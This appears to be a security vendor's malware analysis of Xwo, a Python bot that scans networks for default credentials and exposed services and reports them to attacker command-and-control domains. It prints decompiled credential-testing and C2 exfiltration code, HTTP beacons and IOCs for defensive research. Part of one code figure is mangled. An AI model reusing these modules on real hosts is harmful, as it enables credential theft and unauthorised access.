

Xwo - A Python-based bot scanner

 alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner



1. [AT&T Cybersecurity](#)
2. [Blog](#)

April 2, 2019 | [Tom Hegel](#)

Jaime Blasco and Chris Doman collaborated on this blog.

Overview:

Recently, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families [Xbash](#) and [MongoLock](#).

Alien Labs initially identified Xwo being served from a [server](#) serving a file named [xwo.exe](#). Below are the initial technical findings of Xwo, while all associated indicators are in our [Xwo OTX Pulse](#).

Xwo’s relation to MongoLock & XBash:

[MongoLock](#) is a ransomware that wipes MongoDB servers and demands a ransom paid to the attackers to recover their database. Both Xwo and MongoLock use similar Python-based code, command and control (“C2”) domain naming, and have an [overlap](#) in C2 infrastructure.

Unlike MongoLock, Xwo does not have any ransomware or exploitation capabilities, but rather sends stolen credentials and service access back to the C2 infrastructure.

The sample was created via PyInstaller and the original Python code can be easily recover using `python_exe_unpack` and `uncompyle6`. The python script of Xwo contains code copied from `XBash`:

```
1107
1108 def __init__(self, ip, port, server, timeout):
1109     self.ip = ip
1110     self.port = port
1111     self.server = server
1112     self.timeout = timeout
1113
1114 def run(self):
1115     if self.server == 'domainattackall':
1116         if self.port == '80':
1117
1118             try:
1119                 = requests.get('http://' + self.ip + '/phpmyadmin',
1120                               headers=Ooo, timeout=5)
1121                 if 'phpMyAdmin' in F.text:
1122                     F(self.ip, self.port, 60)
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206 def __init__(self, ip, port, server, timeout):
1207     self.ip = ip
1208     self.port = port
1209     self.server = server
1210     self.timeout = timeout
1211
1212 def run(self):
1213     if self.server == 'domainattackall':
1214         if self.port == '80':
1215             headers = {'User-Agent': 'Mozilla/5.0 (Windows
1216 NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/2
1217 9.0.1547.2 Safari/537.36'}
1218             try:
1219                 F
1220                 = requests.get('http://' + self.ip + '/phpmyadmin',
1221                               headers=headers, timeout=5)
1222                 if 'phpMyAdmin' in F.text:
1223                     check_phpmyadmin(self.ip,
1224                                       self.port, 60)
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
```

Figure 1: Xwo code (left) copied from Xbash (right)

As of this report, it is unclear if Xwo relates with same adversary known as “Iron Group”, or if they have repurposed public code. Based on our research to date, a potential relationship may exist between Iron Cybercrime Group and Rocke. We are unable to assess the relationship with acceptable confidence as of this report.

Command and Control:

Following execution, Xwo first performs an HTTP POST request with a random User-Agent from a hardcoded list of choices, and then receives instructions from the C2 domain with an encoded public network range to scan:

```

POST /ci2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 0
Accept-Language: en-US,en;q=0.8
Connection: close
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,text/png,*/*;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1;
QQDownload 732; .NET4.0C; .NET4.0E; 360SE)
Accept-Charset: ISO-8859-1,utf-8
Host: s.blockchainbdgpzk.tk
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

HTTP/1.1 200 OK
Date: Sun, 24 Mar 2019 11:31:19 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: __cfduid=d95259626df87f893b0d4e74d5650a8001553427079; expires=Mon,
23-Mar-20 11:31:19 GMT; path=/; domain=.blockchainbdgpzk.tk; HttpOnly
Server: cloudflare
CF-RAY: 4bc85170fbed9d68-AMS

21
eJwzMjDSM7Qw0DM0M9Yz0DcyAQAaQwMX

```

Figure 2: Xwo beacon and returned instructions.

The IP range supplied by the C2 infrastructure is base64 encoded and zlib compressed. As received in Figure 1, we can decode the response “eJwzMjDSM7Qw0DM0M9Yz0DcyAQAaQwMX” with Python, or a [CyberChef recipe](#) to view the range to attack next:

```
"eJwzMjDSM7Qw0DM0M9Yz0DcyAQAaQwMX".decode('base64').decode('zlib')
```

Results in the range:

```
202.180.163.0/24
```

To get the list of command and control servers it uses hardcoded data stored in base64 encoding:

```
o0OO0oo0oOO = ['xm3f3sc84Lf96Nbwr+n/k0fQ98hd0wZadHDILvY4hb0=',
                 'HGL91M2wOu+nLP1xlsNujqDjbbP5TktwjNaFtORL0oo=',
                 'NNImU+31V4LIV/j1Yo2IAehyF6eWj8tL1xXQsn+Liug=',
```

'NNImU+31V4LIV/j1Yo2IAaicPP4buKiGYusLhKxS7AA=']

Which decodes into:

s.propub3r6espa33w[.]tk

s.blockchainbdgpzk[.]tk

s.pcrisk[.]xyz

s.rapid7[.]xyz

The above C2 infrastructure is associated with MongoLock, which is found in our [OTX Pulse for that malware family](#). The entity behind the creation of the referenced C2 infrastructure follows patterns of registering domains mimicking security and news organizations and websites like Rapid7 (rapid7.com), PCRisk (pcrisk.com), and ProPublica's onion site (propub3r6espa33w.onion) but with .tk TLDs. This trend serves as supplemental links to the above mentioned reports to other malware families.

We have contacted CloudFlare to report the C2 domains, and they have since been terminated, preventing further use by the adversary.

Scanning & Spreading:

First Xwo scans the network range provided by the command and control server. It then commences reconnaissance activity to collect information on available services. We assess the adversary collects this information for later use by the attacking entity. Collected information includes:

- Use of default credentials in FTP, MySQL, PostgreSQL, MongoDB, Redis, Memcached.
- Tomcat default credentials and misconfigurations.
- Default SVN and Git paths.
- Git repositoryformatversion content.
- PhpMyAdmin details.
- Www backup paths.
- RealVNC Enterprise Direct Connect.
- RSYNC accessibility.

```

def tomcat(ip, port, timeout):
    count = 0
    html = ['/manager/html/reload', 'Tomcat Web Application Manager']
    users = ['admin', 'manager', 'tomcat', 'apache', 'root']
    for user in users:
        for y in x:
            try:
                y = str(y.replace('{user}', user))
                z = 'http://' + ip + ':' + str(port) + '/manager/html'
                a = urllib2.Request(z)
                b = user + ':' + y
                c = base64.b64encode(b)
                a.add_header('Authorization', 'Basic ' + c)
                d = urllib2.urlopen(a, timeout=timeout)
                c1 = d.code
                iiIii = d.read()
            except urllib2.HTTPError as ex:
                c1 = ex.code
                iiIii = ex.read()

```

Figure 3: An example credential testing module for Tomcat.

```

def ooo00(ip, port, timeout):
    iIiIiIiIiIi = requests.get('http://' + ip + ':' + str(port) + '/svn/all-wcprops', headers=o00000o, timeout=timeout)
    if 'svn:wc:ra_dav:version-url' in iIiIiIiIiIiIi.text.encode('utf-8'):
        iIiIiI = []
        iIiIiI.extend(o0000o0o0o0)
        oo00oo00o0 = AES.new(ooo, AES.MODE_ECB)
        o00 = random.choice(iIiIiI)
        o00 = oo00oo00o0.decrypt(base64.b64decode(o00)).strip()
        O00o0 = 'http://%s/c3' % o00
        I11iI1I1 = {'lanip': 'svn', 'port': port, 'wanip': ip, 'username': 'http://' + ip + ':' + str(port) + '/svn/entri
        o00o0 = urllib.urlencode(I11iI1I1)
        o00oo00o = urllib2.Request(O00o0, o00o0, Ooo)
        o0000000o0 = urllib2.urlopen(o00oo00o, timeout=5)
        O000000o0000 = o0000000o0.read()
    o00000000 = requests.get('http://' + ip + ':' + str(port) + '/git/config', headers=o00000o, timeout=timeout)
    if 'repositoryformatversion' in o00000000.text.encode('utf-8'):
        iIiIiI = []
        iIiIiI.extend(o0000o0o0o0)
        oo00oo00o0 = AES.new(ooo, AES.MODE_ECB)
        o00 = random.choice(iIiIiI)
        o00 = oo00oo00o0.decrypt(base64.b64decode(o00)).strip()
        O00o0 = 'http://%s/c3' % o00
        I11iI1I1 = {'lanip': 'git', 'port': port, 'wanip': ip, 'username': 'http://' + ip + ':' + str(port) + '/git/confi
        o00o0 = urllib.urlencode(I11iI1I1)
        o00oo00o = urllib2.Request(O00o0, o00o0, Ooo)

```

Figure 4: An example of additional modules.

The results of the script are then sent back to the command and control server through an HTTP POST request.

```
POST /c3 HTTP/1.1
Accept-Encoding: identity
Content-Length: 80
Accept-Language: en-US,en;q=0.8
Connection: close
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,text/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Accept-Charset: ISO-8859-1,utf-8
Host: s.rapid7.xyz
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

wanip=[REDACTED]&username=null&password=123&lanip=[REDACTED]&port=6379HTTP/1.1 200 OK
Date: [REDACTED] GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: [REDACTED] GMT;
path=/; domain=.rapid7.xyz; HttpOnly
Server: cloudflare
CF-RAY: 4be5f6b63c5acc5c-ZRH

2
ok
0
```

Figure 5: An example of scanning findings reporting back to adversary.

Conclusion:

The Alien Labs findings around Xwo introduce yet another iteration from what has been a rather publicity attracting adversary. While Xwo steps away from a variety of malicious features observed the entity using, such as ransomware or exploits, the general use and **potential it holds can be damaging for networks around the globe**. Xwo is likely a new step to an advancing capability, and we expect the full value of this information collection tool to be acted on in the future.

Network owners should avoid the use of default service credentials and ensure publicly accessible services are restricted when possible. We are unable to assess what exactly the operators behind Xwo will use this information for, but based on links to MongoLock and Xbash we expect it to be abused for further malicious activity in time.

Appendix

IOCs:

Full list available in the [OTX Pulse](#).

MD5 File Hash:

fd67a98599b08832cf8570a641712301

SHA1 File Hash:

1faf363809f266bb2d90fb8d3fc43c18253d0048

SHA256 File Hash:

6408c69e802de04e949ed3047dc1174ef20125603ce7ba5c093e820cb77b1ae1

Domain:

- blockchainbdgpzk[.]tk
- pcrisk[.]xyz
- propub3r6espa33w[.]tk

Hostname:

- d.pcrisk[.]xyz
- s.blockchainbdgpzk[.]tk
- s.pcrisk[.]xyz
- s.propub3r6espa33w[.]tk
- s.rapid7[.]xyz

URL:

- hxxp://bucket-chain.oss-cn-hongkong.aliyuncs[.]com/xwo.exe
- hxxp://s.blockchainbdgpzk[.]tk/ci2
- hxxp://s.pcrisk[.]xyz/ci2
- hxxp://s.propub3r6espa33w[.]tk/ci2
- hxxp://s.rapid7[.]xyz/ci2

Hardcoded UserAgents

- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
- Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
- Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
- Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)
- Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
- Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)
- Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)

- Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6
- Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1
- Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0
- Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
- Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20
- Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER
- Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1

- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
- Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre
- Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11
- Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10']

Share this with others

Tags: